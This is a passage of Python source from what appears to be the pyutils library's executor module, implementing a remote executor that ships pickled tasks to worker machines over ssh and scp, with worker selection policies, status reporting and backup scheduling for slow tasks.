self.start_per_bundle[uuid] = None\n x = self.in_flight_bundles_by_worker.get(worker, set())\n x.add(uuid)\n self.in_flight_bundles_by_worker[worker] = x\n\n def record_bundle_details(self, details: BundleDetails) -> None:\n \"\"\"Register the details about a bundle of work.\"\"\"\n with self.lock:\n self.record_bundle_details_already_locked(details)\n\n def record_bundle_details_already_locked(self, details: BundleDetails) -> None:\n \"\"\"Same as above but for codepaths that already hold the lock.\"\"\"\n assert self.lock.locked()\n self.bundle_details_by_uuid[details.uuid] = details\n\n def record_release_worker(\n self,\n worker: RemoteWorkerRecord,\n uuid: str,\n was_cancelled: bool,\n ) -> None:\n \"\"\"Record that a bundle has released a worker.\"\"\"\n with self.lock:\n self.record_release_worker_already_locked(worker, uuid, was_cancelled)\n\n def record_release_worker_already_locked(\n self,\n worker: RemoteWorkerRecord,\n uuid: str,\n was_cancelled: bool,\n ) -> None:\n \"\"\"Same as above but for codepaths that already hold the lock.\"\"\"\n assert self.lock.locked()\n ts = time.time()\n self.end_per_bundle[uuid] = ts\n self.in_flight_bundles_by_worker[worker].remove(uuid)\n if not was_cancelled:\n start = self.start_per_bundle[uuid]\n assert start is not None\n bundle_latency = ts - start\n x = self.finished_bundle_timings_per_worker.get(\n worker, math_utils.NumericPopulation()\n )\n x.add_number(bundle_latency)\n self.finished_bundle_timings_per_worker[worker] = x\n self.finished_bundle_timings.add_number(bundle_latency)\n\n def record_processing_began(self, uuid: str):\n \"\"\"Record when work on a bundle begins.\"\"\"\n with self.lock:\n self.start_per_bundle[uuid] = time.time()\n\n def total_in_flight(self) -> int:\n \"\"\"How many bundles are in flight currently?\"\"\"\n assert self.lock.locked()\n total_in_flight = 0\n for worker in self.known_workers:\n total_in_flight += len(self.in_flight_bundles_by_worker[worker])\n return total_in_flight\n\n def total_idle(self) -> int:\n \"\"\"How many idle workers are there currently?\"\"\"\n assert self.lock.locked()\n return self.worker_count - self.total_in_flight()\n\n def __repr__(self):\n assert self.lock.locked()\n ts = time.time()\n total_finished = len(self.finished_bundle_timings)\n total_in_flight = self.total_in_flight()\n ret = f'\\n\\n{underline()}Remote Executor Pool Status{reset()}: '\n qall_median = None\n qall_p95 = None\n if len(self.finished_bundle_timings) > 1:\n qall_median = self.finished_bundle_timings.get_median()\n qall_p95 = self.finished_bundle_timings.get_percentile(95)\n ret += (\n f'⏱=∀p50:{qall_median:.1f}s, ∀p95:{qall_p95:.1f}s, total={ts-self.start_time:.1f}s, '\n f'✅={total_finished}/{self.total_bundles_submitted}, '\n f'💻n={total_in_flight}/{self.worker_count}\\n'\n )\n else:\n ret += (\n f'⏱={ts-self.start_time:.1f}s, '\n f'✅={total_finished}/{self.total_bundles_submitted}, '\n f'💻n={total_in_flight}/{self.worker_count}\\n'\n )\n\n for worker in self.known_workers:\n ret += f' {fg(\"lightning yellow\")}{worker.machine}{reset()}: '\n timings = self.finished_bundle_timings_per_worker.get(\n worker, math_utils.NumericPopulation()\n )\n count = len(timings)\n qworker_median = None\n qworker_p95 = None\n if count > 1:\n qworker_median = timings.get_median()\n qworker_p95 = timings.get_percentile(95)\n ret += f' 💻p50: {qworker_median:.1f}s, 💻p95: {qworker_p95:.1f}s\\n'\n else:\n ret += '\\n'\n if count > 0:\n ret += f' ...finished {count} total bundle(s) so far\\n'\n in_flight = len(self.in_flight_bundles_by_worker[worker])\n if in_flight > 0:\n ret += f' ...{in_flight} bundles currently in flight:\\n'\n for bundle_uuid in self.in_flight_bundles_by_worker[worker]:\n details = self.bundle_details_by_uuid.get(bundle_uuid, None)\n pid = str(details.pid) if (details and details.pid != 0) else \"TBD\"\n if self.start_per_bundle[bundle_uuid] is not None:\n sec = ts - self.start_per_bundle[bundle_uuid]\n ret += f' (pid={pid}): {details} for {sec:.1f}s so far '\n else:\n ret += f' {details} setting up / copying data...'\n sec = 0.0\n\n if qworker_p95 is not None:\n if sec > qworker_p95:\n ret += f'{bg(\"red\")}>💻p95{reset()} '\n if details is not None:\n details.slower_than_local_p95 = True\n else:\n if details is not None:\n details.slower_than_local_p95 = False\n\n if qall_p95 is not None:\n if sec > qall_p95:\n ret += f'{bg(\"red\")}>∀p95{reset()} '\n if details is not None:\n details.slower_than_global_p95 = True\n else:\n details.slower_than_global_p95 = False\n ret += '\\n'\n return ret\n\n def periodic_dump(self, total_bundles_submitted: int) -> None:\n assert self.lock.locked()\n self.total_bundles_submitted = total_bundles_submitted\n ts = time.time()\n if self.last_periodic_dump is None or ts - self.last_periodic_dump > 5.0:\n print(self)\n self.last_periodic_dump = ts\n\n\nclass RemoteWorkerSelectionPolicy(ABC):\n \"\"\"An interface definition of a policy for selecting a remote worker.\"\"\"\n\n def __init__(self):\n self.workers: Optional[List[RemoteWorkerRecord]] = None\n\n def register_worker_pool(self, workers: List[RemoteWorkerRecord]):\n self.workers = workers\n\n @abstractmethod\n def is_worker_available(self) -> bool:\n pass\n\n @abstractmethod\n def acquire_worker(\n self, machine_to_avoid: str = None\n ) -> Optional[RemoteWorkerRecord]:\n pass\n\n\nclass WeightedRandomRemoteWorkerSelectionPolicy(RemoteWorkerSelectionPolicy):\n \"\"\"A remote worker selector that uses weighted RNG.\"\"\"\n\n @overrides\n def is_worker_available(self) -> bool:\n if self.workers:\n for worker in self.workers:\n if worker.count > 0:\n return True\n return False\n\n @overrides\n def acquire_worker(\n self, machine_to_avoid: str = None\n ) -> Optional[RemoteWorkerRecord]:\n grabbag = []\n if self.workers:\n for worker in self.workers:\n if worker.machine != machine_to_avoid:\n if worker.count > 0:\n for _ in range(worker.count * worker.weight):\n grabbag.append(worker)\n\n if len(grabbag) == 0:\n logger.debug(\n 'There are no available workers that avoid %s', machine_to_avoid\n )\n if self.workers:\n for worker in self.workers:\n if worker.count > 0:\n for _ in range(worker.count * worker.weight):\n grabbag.append(worker)\n\n if len(grabbag) == 0:\n logger.warning('There are no available workers?!')\n return None\n\n worker = random.sample(grabbag, 1)[0]\n assert worker.count > 0\n worker.count -= 1\n logger.debug('Selected worker %s', worker)\n return worker\n\n\nclass RoundRobinRemoteWorkerSelectionPolicy(RemoteWorkerSelectionPolicy):\n \"\"\"A remote worker selector that just round robins.\"\"\"\n\n def __init__(self) -> None:\n super().__init__()\n self.index = 0\n\n @overrides\n def is_worker_available(self) -> bool:\n if self.workers:\n for worker in self.workers:\n if worker.count > 0:\n return True\n return False\n\n def _increment_index(self, index: int) -> None:\n if self.workers:\n index += 1\n if index >= len(self.workers):\n index = 0\n self.index = index\n\n @overrides\n def acquire_worker(\n self, machine_to_avoid: str = None\n ) -> Optional[RemoteWorkerRecord]:\n if self.workers:\n x = self.index\n while True:\n worker = self.workers[x]\n if worker.machine != machine_to_avoid and worker.count > 0:\n worker.count -= 1\n self._increment_index(x)\n logger.debug('Selected worker %s', worker)\n return worker\n x += 1\n if x >= len(self.workers):\n x = 0\n if x == self.index:\n logger.warning('Unexpectedly could not find a worker, retrying...')\n return None\n return None\n\n\nclass RemoteExecutor(BaseExecutor):\n \"\"\"An executor that uses processes on remote machines to do work.\n To do so, it requires that a pool of remote workers to be properly\n configured. See instructions in\n :class:`pyutils.parallelize.parallelize`.\n\n Each machine in a worker pool has a *weight* and a *count*. A\n *weight* captures the relative speed of a processor on that worker\n and a *count* captures the number of synchronous tasks the worker\n can accept (i.e. the number of cpus on the machine).\n\n To dispatch work to a remote machine, this class pickles the code\n to be executed remotely using `cloudpickle`. For that to work,\n the remote machine should be running the same version of Python as\n this machine, ideally in a virtual environment with the same\n import libraries installed. Differences in operating system\n and/or processor architecture don't seem to matter for most code,\n though.\n\n .. warning::\n\n Mismatches in Python version or in the version numbers of\n third-party libraries between machines can cause problems\n when trying to unpickle and run code remotely.\n\n Work to be dispatched is represented in this code by creating a\n \"bundle\". Each bundle is assigned to a remote worker based on\n heuristics captured in a :class:`RemoteWorkerSelectionPolicy`. In\n general, it attempts to load all workers in the pool and maximize\n throughput. Once assigned to a remote worker, pickled code is\n copied to that worker via `scp` and a remote command is issued via\n `ssh` to execute a :file:`remote_worker.py` process on the remote\n machine. This process unpickles the code, runs it, and produces a\n result which is then copied back to the local machine (again via\n `scp`) where it can be processed by local code.\n\n You can and probably must override the path of\n :file:`remote_worker.py` on your pool machines using the\n `--remote_worker_helper_path` commandline argument (or by just\n changing the default in code, see above in this file's code).\n\n During remote work execution, this local machine acts as a\n controller dispatching all work to the network, copying pickled\n tasks out, and copying results back in. It may also be a worker\n in the pool but do not underestimate the cost of being a\n controller -- it takes some cpu and a lot of network bandwidth.\n The work dispatcher logic attempts to detect when a controller is\n also a worker and reduce its load.\n\n Some redundancy and safety provisions are made when scheduling\n tasks to the worker pool; e.g. slower than expected tasks have\n redundant backups tasks created, especially if there are otherwise\n idle workers. If a task fails repeatedly, the dispatcher consider\n it poisoned and give up on it.\n\n .. warning::\n\n This executor probably only makes sense to use with\n computationally expensive tasks such as jobs that will execute\n for ~30 seconds or longer.\n\n The network overhead and latency of copying work from the\n controller (local) machine to the remote workers and copying\n results back again is relatively high. Especially at startup,\n the network can become a bottleneck. Future versions of this\n code may attempt to split the responsibility of being a\n controller (distributing work to pool machines).\n\n Instructions for how to set this up are provided in\n :class:`pyutils.parallelize.parallelize`.\n\n See also :class:`ProcessExecutor` and :class:`ThreadExecutor`.\n\n \"\"\"\n\n def __init__(\n self,\n workers: List[RemoteWorkerRecord],\n policy: RemoteWorkerSelectionPolicy,\n ) -> None:\n \"\"\"\n Args:\n workers: A list of remote workers we can call on to do tasks.\n policy: A policy for selecting remote workers for tasks.\n\n Raises:\n PyUtilsException: unable to find a place to schedule work.\n \"\"\"\n\n super().__init__()\n\n remote_worker_records_file = get_remote_workers_filename()\n if not file_utils.is_readable(remote_worker_records_file):\n msg = (\n f\"Couldn't find a remote worker records file at {remote_worker_records_file}.\\n\"\n + \"See: https://github.com/scottgasch/pyutils#missing-remote_worker_records-file\"\n )\n print(msg)\n raise PyUtilsException(msg)\n\n self.workers = workers\n self.policy = policy\n self.worker_count = 0\n for worker in self.workers:\n self.worker_count += worker.count\n if self.worker_count <= 0:\n msg = f\"We need somewhere to schedule work; count was {self.worker_count}\"\n logger.critical(msg)\n raise PyUtilsException(msg)\n self.policy.register_worker_pool(self.workers)\n self.cv = threading.Condition()\n logger.debug(\n 'Creating %d local threads, one per remote worker.', self.worker_count\n )\n self._helper_executor = fut.ThreadPoolExecutor(\n thread_name_prefix=\"remote_executor_helper\",\n max_workers=self.worker_count,\n )\n self.status = RemoteExecutorStatus(self.worker_count)\n self.total_bundles_submitted = 0\n self.backup_lock = threading.Lock()\n self.last_backup = None\n (\n self.heartbeat_thread,\n self.heartbeat_stop_event,\n ) = self._run_periodic_heartbeat()\n self.already_shutdown = False\n\n @background_thread\n def _run_periodic_heartbeat(self, stop_event: threading.Event) -> None:\n \"\"\"\n We create a background thread to invoke :meth:`_heartbeat` regularly\n while we are scheduling work. It does some accounting such as\n looking for slow bundles to tag for backup creation, checking for\n unexpected failures, and printing a fancy message on stdout.\n \"\"\"\n while not stop_event.is_set():\n time.sleep(5.0)\n logger.debug('Running periodic heartbeat code...')\n self._heartbeat()\n logger.debug('Periodic heartbeat thread shutting down.')\n\n def _heartbeat(self) -> None:\n # Note: this is invoked on a background thread, not an\n # executor thread. Be careful what you do with it b/c it\n # needs to get back and dump status again periodically.\n with self.status.lock:\n self.status.periodic_dump(self.total_bundles_submitted)\n\n # Look for bundles to reschedule via executor.submit\n if config.config['executors_schedule_remote_backups']:\n self._maybe_schedule_backup_bundles()\n\n def _maybe_schedule_backup_bundles(self):\n \"\"\"Maybe schedule backup bundles if we see a very slow bundle.\"\"\"\n\n assert self.status.lock.locked()\n num_done = len(self.status.finished_bundle_timings)\n num_idle_workers = self.worker_count - self.task_count\n now = time.time()\n if (\n num_done >= 2\n and num_idle_workers > 0\n and (self.last_backup is None or (now - self.last_backup > 9.0))\n and self.backup_lock.acquire(blocking=False)\n ):\n try:\n assert self.backup_lock.locked()\n\n bundle_to_backup = None\n best_score = None\n for (\n worker,\n bundle_uuids,\n ) in self.status.in_flight_bundles_by_worker.items():\n\n # Prefer to schedule backups of bundles running on\n # slower machines.\n base_score = 0\n for record in self.workers:\n if worker.machine == record.machine:\n temp_score = float(record.weight)\n temp_score = 1.0 / temp_score\n temp_score *= 200.0\n base_score = int(temp_score)\n break\n\n for uuid in bundle_uuids:\n bundle = self.status.bundle_details_by_uuid.get(uuid, None)\n if (\n bundle is not None\n and bundle.src_bundle is None\n and bundle.backup_bundles is not None\n ):\n score = base_score\n\n # Schedule backups of bundles running\n # longer; especially those that are\n # unexpectedly slow.\n start_ts = self.status.start_per_bundle[uuid]\n if start_ts is not None:\n runtime = now - start_ts\n score += runtime\n logger.debug(\n 'score[%s] => %.1f # latency boost', bundle, score\n )\n\n if bundle.slower_than_local_p95:\n score += runtime / 2\n logger.debug(\n 'score[%s] => %.1f # >worker p95',\n bundle,\n score,\n )\n\n if bundle.slower_than_global_p95:\n score += runtime / 4\n logger.debug(\n 'score[%s] => %.1f # >global p95',\n bundle,\n score,\n )\n\n # Prefer backups of bundles that don't\n # have backups already.\n backup_count = len(bundle.backup_bundles)\n if backup_count == 0:\n score *= 2\n elif backup_count == 1:\n score /= 2\n elif backup_count == 2:\n score /= 8\n else:\n score = 0\n logger.debug(\n 'score[%s] => %.1f # {backup_count} dup backup factor',\n bundle,\n score,\n )\n\n if score != 0 and (\n best_score is None or score > best_score\n ):\n bundle_to_backup = bundle\n assert bundle is not None\n assert bundle.backup_bundles is not None\n assert bundle.src_bundle is None\n best_score = score\n\n # Note: this is all still happening on the heartbeat\n # runner thread. That's ok because\n # _schedule_backup_for_bundle uses the executor to\n # submit the bundle again which will cause it to be\n # picked up by a worker thread and allow this thread\n # to return to run future heartbeats.\n if bundle_to_backup is not None:\n self.last_backup = now\n logger.info(\n '=====> SCHEDULING BACKUP %s (score=%.1f) <=====',\n bundle_to_backup,\n best_score,\n )\n self._schedule_backup_for_bundle(bundle_to_backup)\n finally:\n self.backup_lock.release()\n\n def _is_worker_available(self) -> bool:\n \"\"\"Is there a worker available currently?\"\"\"\n return self.policy.is_worker_available()\n\n def _acquire_worker(\n self, machine_to_avoid: str = None\n ) -> Optional[RemoteWorkerRecord]:\n \"\"\"Try to acquire a worker.\"\"\"\n return self.policy.acquire_worker(machine_to_avoid)\n\n def _find_available_worker_or_block(\n self, machine_to_avoid: str = None\n ) -> RemoteWorkerRecord:\n \"\"\"Find a worker or block until one becomes available.\"\"\"\n with self.cv:\n while not self._is_worker_available():\n self.cv.wait()\n worker = self._acquire_worker(machine_to_avoid)\n if worker is not None:\n return worker\n msg = \"We should never reach this point in the code\"\n logger.critical(msg)\n raise PyUtilsUnreachableConditionException(msg)\n\n def _release_worker(self, bundle: BundleDetails, *, was_cancelled=True) -> None:\n \"\"\"Release a previously acquired worker.\"\"\"\n worker = bundle.worker\n assert worker is not None\n logger.debug('Released worker %s', worker)\n self.status.record_release_worker(\n worker,\n bundle.uuid,\n was_cancelled,\n )\n with self.cv:\n worker.count += 1\n self.cv.notify()\n self.adjust_task_count(-1)\n\n def _check_if_cancelled(self, bundle: BundleDetails) -> bool:\n \"\"\"See if a particular bundle is cancelled. Do not block.\"\"\"\n with self.status.lock:\n if bundle.is_cancelled.wait(timeout=0.0):\n logger.debug('Bundle %s is cancelled, bail out.', bundle.uuid)\n bundle.was_cancelled = True\n return True\n return False\n\n def _launch(self, bundle: BundleDetails, override_avoid_machine=None) -> Any:\n \"\"\"Find a worker for bundle or block until one is available.\"\"\"\n\n self.adjust_task_count(+1)\n uuid = bundle.uuid\n controller = bundle.controller\n avoid_machine = override_avoid_machine\n is_original = bundle.src_bundle is None\n\n # Try not to schedule a backup on the same host as the original.\n if avoid_machine is None and bundle.src_bundle is not None:\n avoid_machine = bundle.src_bundle.machine\n worker = None\n while worker is None:\n worker = self._find_available_worker_or_block(avoid_machine)\n assert worker is not None\n\n # Ok, found a worker.\n bundle.worker = worker\n machine = bundle.machine = worker.machine\n username = bundle.username = worker.username\n self.status.record_acquire_worker(worker, uuid)\n logger.debug('%s: Running bundle on %s...', bundle, worker)\n\n # Before we do any work, make sure the bundle is still viable.\n # It may have been some time between when it was submitted and\n # now due to lack of worker availability and someone else may\n # have already finished it.\n if self._check_if_cancelled(bundle):\n try:\n return self._process_work_result(bundle)\n except Exception:\n logger.warning(\n '%s: bundle says it\\'s cancelled upfront but no results?!', bundle\n )\n self._release_worker(bundle)\n if is_original:\n # Weird. We are the original owner of this\n # bundle. For it to have been cancelled, a backup\n # must have already started and completed before\n # we even for started. Moreover, the backup says\n # it is done but we can't find the results it\n # should have copied over. Reschedule the whole\n # thing.\n logger.exception(\n '%s: We are the original owner thread and yet there are '\n 'no results for this bundle. This is unexpected and bad. '\n 'Attempting an emergency retry...',\n bundle,\n )\n return self._emergency_retry_nasty_bundle(bundle)\n else:\n # We're a backup and our bundle is cancelled\n # before we even got started. Do nothing and let\n # the original bundle's thread worry about either\n # finding the results or complaining about it.\n return None\n\n # Send input code / data to worker machine if it's not local.\n if controller not in machine:\n try:\n cmd = (\n f'{SCP} {bundle.code_file} {username}@{machine}:{bundle.code_file}'\n )\n start_ts = time.time()\n logger.info(\"%s: Copying work to %s via %s.\", bundle, worker, cmd)\n run_silently(cmd)\n xfer_latency = time.time() - start_ts\n logger.debug(\n \"%s: Copying to %s took %.1fs.\", bundle, worker, xfer_latency\n )\n except Exception:\n self._release_worker(bundle)\n if is_original:\n # Weird. We tried to copy the code to the worker\n # and it failed... And we're the original bundle.\n # We have to retry.\n logger.exception(\n \"%s: Failed to send instructions to the worker machine?! \"\n \"This is not expected; we\\'re the original bundle so this shouldn\\'t \"\n \"be a race condition. Attempting an emergency retry...\",\n bundle,\n )\n return self._emergency_retry_nasty_bundle(bundle)\n else:\n # This is actually expected; we're a backup.\n # There's a race condition where someone else\n # already finished the work and removed the source\n # code_file before we could copy it. Ignore.\n logger.warning(\n '%s: Failed to send instructions to the worker machine... '\n 'We\\'re a backup and this may be caused by the original (or '\n 'some other backup) already finishing this work. Ignoring.',\n bundle,\n )\n return None\n\n # Kick off the work. Note that if this fails we let\n # _wait_for_process deal with it.\n self.status.record_processing_began(uuid)\n helper_path = config.config['remote_worker_helper_path']\n cmd = (\n f'{SSH} {bundle.username}@{bundle.machine} '\n f'\"{helper_path} --code_file {bundle.code_file} --result_file {bundle.result_file}\"'\n )\n logger.debug(\n '%s: Executing %s in the background to kick off work...', bundle, cmd\n )\n p = cmd_in_background(cmd, silent=True)\n bundle.pid = p.pid\n logger.debug(\n '%s: Local ssh process pid=%d; remote worker is %s.', bundle, p.pid, machine\n )\n return self._wait_for_process(p, bundle, 0)\n\n def _wait_for_process(\n self, p: Optional[subprocess.Popen], bundle: BundleDetails, depth: int\n ) -> Any:\n \"\"\"At this point we've copied the bundle's pickled code to the remote\n worker and started an ssh process that should be invoking the\n remote worker to have it execute the user's code. See how\n that's going and wait for it to complete or fail. Note that\n this code is recursive: there are codepaths where we decide to\n stop waiting for an ssh process (because another backup seems\n to have finished) but then fail to fetch or parse the results\n from that backup and thus call ourselves to continue waiting\n on an active ssh process. This is the purpose of the depth\n argument: to curtail potential infinite recursion by giving up\n eventually.\n\n Args:\n p: the Popen record of the ssh job\n bundle: the bundle of work being executed remotely\n depth: how many retries we've made so far. Starts at zero.\n\n \"\"\"\n\n machine = bundle.machine\n assert p is not None\n pid = p.pid # pid of the ssh process\n if depth > 3:\n logger.error(\n \"I've gotten repeated errors waiting on this bundle; giving up on pid=%d\",\n pid,\n )\n p.terminate()\n self._release_worker(bundle)\n return self._emergency_retry_nasty_bundle(bundle)\n\n # Spin until either the ssh job we scheduled finishes the\n # bundle or some backup worker signals that they finished it\n # before we could.\n while True:\n try:\n p.wait(timeout=0.25)\n except subprocess.TimeoutExpired:\n if self._check_if_cancelled(bundle):\n logger.info(\n '%s: looks like another worker finished bundle...', bundle\n )\n break\n else:\n logger.info(\"%s: pid %d (%s) is finished!\", bundle, pid, machine)\n p = None\n break\n\n # If we get here we believe the bundle is done; either the ssh\n # subprocess finished (hopefully successfully) or we noticed\n # that some other worker seems to have completed the bundle\n # before us and we're bailing out.\n try:\n ret = self._process_work_result(bundle)\n if ret is not None and p is not None:\n p.terminate()\n return ret\n\n # Something went wrong; e.g. we could not copy the results\n # back, cleanup after ourselves on the remote machine, or\n # unpickle the results we got from the remove machine. If we\n # still have an active ssh subprocess, keep waiting on it.\n # Otherwise, time for an emergency reschedule.\n except Exception:\n logger.exception('%s: Something unexpected just happened...', bundle)\n if p is not None:\n logger.warning(\n \"%s: Failed to wrap up \\\"done\\\" bundle, re-waiting on active ssh.\",\n bundle,\n )\n return self._wait_for_process(p, bundle, depth + 1)\n else:\n self._release_worker(bundle)\n return self._emergency_retry_nasty_bundle(bundle)\n\n def _process_work_result(self, bundle: BundleDetails) -> Any:\n \"\"\"A bundle seems to be completed. Check on the results.\"\"\"\n\n with self.status.lock:\n is_original = bundle.src_bundle is None\n was_cancelled = bundle.was_cancelled\n username = bundle.username\n machine = bundle.machine\n result_file = bundle.result_file\n code_file = bundle.code_file\n\n # Whether original or backup, if we finished first we must\n # fetch the results if the computation happened on a\n # remote machine.\n bundle.end_ts = time.time()\n if not was_cancelled:\n assert bundle.machine is not None\n if bundle.controller not in bundle.machine:\n cmd = f'{SCP} {username}@{machine}:{result_file} {result_file} 2>/dev/null'\n logger.info(\n \"%s: Fetching results back from %s@%s via %s\",\n bundle,\n username,\n machine,\n cmd,\n )\n\n # If either of these throw they are handled in\n # _wait_for_process.\n attempts = 0\n while True:\n try:\n run_silently(cmd)\n except Exception as e:\n attempts += 1\n if attempts >= 3:\n raise e\n else:\n break\n\n # Cleanup remote /tmp files.\n run_silently(\n f'{SSH} {username}@{machine}'\n f' \"/bin/rm -f {code_file} {result_file}\"'\n )\n logger.debug(\n 'Fetching results back took %.2fs', time.time() - bundle.end_ts\n )\n dur = bundle.end_ts - bundle.start_ts\n self.histogram.add_item(dur)\n\n # Only the original worker should unpickle the file contents\n # though since it's the only one whose result matters. The\n # original is also the only job that may delete result_file\n # from disk. Note that the original may have been cancelled\n # if one of the backups finished first; it still must read the\n # result from disk. It still does that here with is_cancelled\n # set.\n if is_original:\n logger.debug(\"%s: Unpickling %s.\", bundle, result_file)\n try:\n with open(result_file, 'rb') as rb:\n serialized = rb.read()\n result = cloudpickle.loads(serialized)\n except Exception as e:\n logger.exception('Failed to load %s... this is bad news.', result_file)\n self._release_worker(bundle)\n\n # Re-raise the exception; the code in _wait_for_process may\n # decide to _emergency_retry_nasty_bundle here.\n raise e\n logger.debug('Removing local (master) %s and %s.', code_file, result_file)\n os.remove(result_file)\n os.remove(code_file)\n\n # Notify any backups that the original is done so they\n # should stop ASAP. Do this whether or not we\n # finished first since there could be more than one\n # backup.\n if bundle.backup_bundles is not None:\n for backup in bundle.backup_bundles:\n logger.debug(\n '%s: Notifying backup %s that it\\'s cancelled',\n bundle,\n backup.uuid,\n )\n backup.is_cancelled.set()\n\n # This is a backup job and, by now, we have already fetched\n # the bundle results.\n else:\n # Backup results don't matter, they just need to leave the\n # result file in the right place for their originals to\n # read/unpickle later.\n result = None\n\n # Tell the original to stop if we finished first.\n if not was_cancelled:\n orig_bundle = bundle.src_bundle\n assert orig_bundle is not None\n logger.debug(\n '%s: Notifying original %s we beat them to it.',\n bundle,\n orig_bundle.uuid,\n )\n orig_bundle.is_cancelled.set()\n self._release_worker(bundle, was_cancelled=was_cancelled)\n return result\n\n def _create_original_bundle(self, pickle, function_name: str):\n \"\"\"Creates a bundle that is not a backup of any other bundle but\n rather represents a user task.\n \"\"\"\n\n uuid = string_utils.generate_uuid(omit_dashes=True)\n code_file = f'/tmp/{uuid}.code.bin'\n result_file = f'/tmp/{uuid}.result.bin'\n\n logger.debug('Writing pickled code to %s', code_file)\n with open(code_file, 'wb') as wb:\n wb.write(pickle)\n\n bundle = BundleDetails(\n pickled_code=pickle,\n uuid=uuid,\n function_name=function_name,\n worker=None,\n username=None,\n machine=None,\n controller=platform.node(),\n code_file=code_file,\n result_file=result_file,\n pid=0,\n start_ts=time.time(),\n end_ts=0.0,\n slower_than_local_p95=False,\n slower_than_global_p95=False,\n src_bundle=None,\n is_cancelled=threading.Event(),\n was_cancelled=False,\n backup_bundles=[],\n failure_count=0,\n )\n self.status.record_bundle_details(bundle)\n logger.debug('%s: Created an original bundle', bundle)\n return bundle\n\n def _create_backup_bundle(self, src_bundle: BundleDetails):\n \"\"\"Creates a bundle that is a backup of another bundle that is\n running too slowly.\"\"\"\n\n assert self.status.lock.locked()\n assert src_bundle.backup_bundles is not None\n n = len(src_bundle.backup_bundles)\n uuid = src_bundle.uuid + f'_backup#{n}'\n\n backup_bundle = BundleDetails(\n pickled_code=src_bundle.pickled_code,\n uuid=uuid,\n function_name=src_bundle.function_name,\n worker=None,\n username=None,\n machine=None,\n controller=src_bundle.controller,\n code_file=src_bundle.code_file,\n result_file=src_bundle.result_file,\n pid=0,\n start_ts=time.time(),\n end_ts=0.0,\n slower_than_local_p95=False,\n slower_than_global_p95=False,\n src_bundle=src_bundle,\n is_cancelled=threading.Event(),\n was_cancelled=False,\n backup_bundles=None, # backup backups not allowed\n failure_count=0,\n )\n src_bundle.backup_bundles.append(backup_bundle)\n self.status.record_bundle_details_already_locked(backup_bundle)\n logger.debug('%s: Created a backup bundle', backup_bundle)\n return backup_bundle\n\n def _schedule_backup_for_bundle(self, src_bundle: BundleDetails):\n \"\"\"Schedule a backup of src_bundle.\"\"\"\n\n assert self.status.lock.locked()\n assert src_bundle is not None\n backup_bundle = self._create_backup_bundle(src_bundle)\n logger.debug(\n '%s/%s: Scheduling backup for execution...',\n backup_bundle.uuid,\n backup_bundle.function_name,\n )\n self._helper_executor.submit(self._launch, backup_bundle)\n\n # Results from backups don't matter; if they finish first\n # they will move the result_file to this machine and let\n # the original pick them up and unpickle them (and return\n # a result).\n\n def _emergency_retry_nasty_bundle(\n self, bundle: BundleDetails\n ) -> Optional[fut.Future]:\n \"\"\"Something unexpectedly failed with bundle. Either retry it\n from the beginning or throw in the towel and give up on it.\n\n Raises:\n PyUtilsException: a bundle fails repeatedly.\n \"\"\"\n\n is_original = bundle.src_bundle is None\n bundle.worker = None\n avoid_last_machine = bundle.machine\n bundle.machine = None\n bundle.username = None\n bundle.failure_count += 1\n if is_original:\n retry_limit = 3\n else:\n retry_limit = 2\n\n if bundle.failure_count > retry_limit:\n logger.error(\n '%s: Tried this bundle too many times already (%dx); giving up.',\n bundle,\n retry_limit,\n )\n if is_original:\n raise PyUtilsException(\n f'{bundle}: This bundle can\\'t be completed despite several backups and retries',\n )\n logger.error(\n '%s: At least it\\'s only a backup; better luck with the others.',\n bundle,\n )\n return None\n else:\n msg = f'>>> Emergency rescheduling {bundle} because of unexected errors (wtf?!) <<<'\n logger.warning(msg)\n warnings.warn(msg)\n return self._launch(bundle, avoid_last_machine)\n\n @overrides\n def submit(self, function: Callable, *args, **kwargs) -> fut.Future:\n \"\"\"Submit work to be done. This is the user entry point of this\n class.\n\n Raises:\n Exception: executor is already shutting down.\n \"\"\"\n if self.already_shutdown:\n raise PyUtilsException('Submitted work after shutdown.')\n pickle = _make_cloud_pickle(function, *args, **kwargs)\n bundle = self._create_original_bundle(pickle, function.__name__)\n self.total_bundles_submitted += 1\n return self._helper_executor.submit(self._launch, bundle)\n\n @overrides\n def shutdown(self, *, wait: bool = True, quiet: bool = False) -> None:\n \"\"\"Shutdown the executor.\"\"\"\n if not self.already_shutdown:\n logging.debug('Shutting down RemoteExecutor %s', self.title)\n self.heartbeat_stop_event.set()\n self.heartbeat_thread.join()\n self._helper_executor.shutdown(wait)\n if not quiet:\n print(self.histogram.__repr__(label_formatter='%ds'))\n self.already_shutdown = True\n\n\nclass RemoteWorkerPoolProvider:\n @abstractmethod\n def get_remote_workers(self) -> List[RemoteWorkerRecord]:\n pass\n\n\n@persistent.persistent_autoloaded_singleton() # type: ignore\nclass ConfigRemoteWorkerPoolProvider(\n RemoteWorkerPoolProvider, persistent.JsonFileBasedPersistent\n):\n def __init__(self, json_remote_worker_pool: Dict[str, Any]):\n self.remote_worker_pool: List[RemoteWorkerRecord] = []\n for record in json_remote_worker_pool['remote_worker_records']:\n r = dataclass_utils.dataclass_from_dict(RemoteWorkerRecord, record)\n assert isinstance(r, RemoteWorkerRecord)\n self.remote_worker_pool.append(r)\n assert len(self.remote_worker_pool) > 0\n\n @overrides\n def get_remote_workers(self) -> List[RemoteWorkerRecord]:\n return self.remote_worker_pool\n\n @overrides\n def get_persistent_data(self) -> List[RemoteWorkerRecord]:\n return self.remote_worker_pool\n\n @staticmethod\n @overrides\n def get_filename() -> str:\n return get_remote_workers_filename()\n\n @staticmethod\n @overrides\n def should_we_load_data(filename: str) -> bool:\n return True\n\n @staticmethod\n @overrides\n def should_we_save_data(filename: str) -> bool:\n return False\n\n\n@singleton\nclass DefaultExecutors(object):\n \"\"\"A container for a default thread, process and remote executor.\n These are not created until needed and we take care to clean up\n before process exit automatically for the caller's convenience.\n Instead of creating your own executor, consider using the one\n from this pool. e.g.::\n\n @par.parallelize(method=par.Method.PROCESS)\n def do_work(\n solutions: List[Work],\n shard_num: int,\n ...\n ):\n \n\n\n def start_do_work(all_work: List[Work]):\n shards = []\n logger.debug('Sharding work into groups of 10.')\n for subset in list_utils.shard(all_work, 10):\n shards.append([x for x in subset])\n\n logger.debug('Kicking off helper pool.')\n try:\n for n, shard in enumerate(shards):\n results.append(\n do_work(\n shard, n, shared_cache.get_name(), max_letter_pop_per_word\n )\n )\n smart_future.wait_all(results)\n finally:\n # Note: if you forget to do this it will clean itself up\n # during program termination including tearing down any\n # active ssh connections.\n executors.DefaultExecutors().process_pool().shutdown()\n 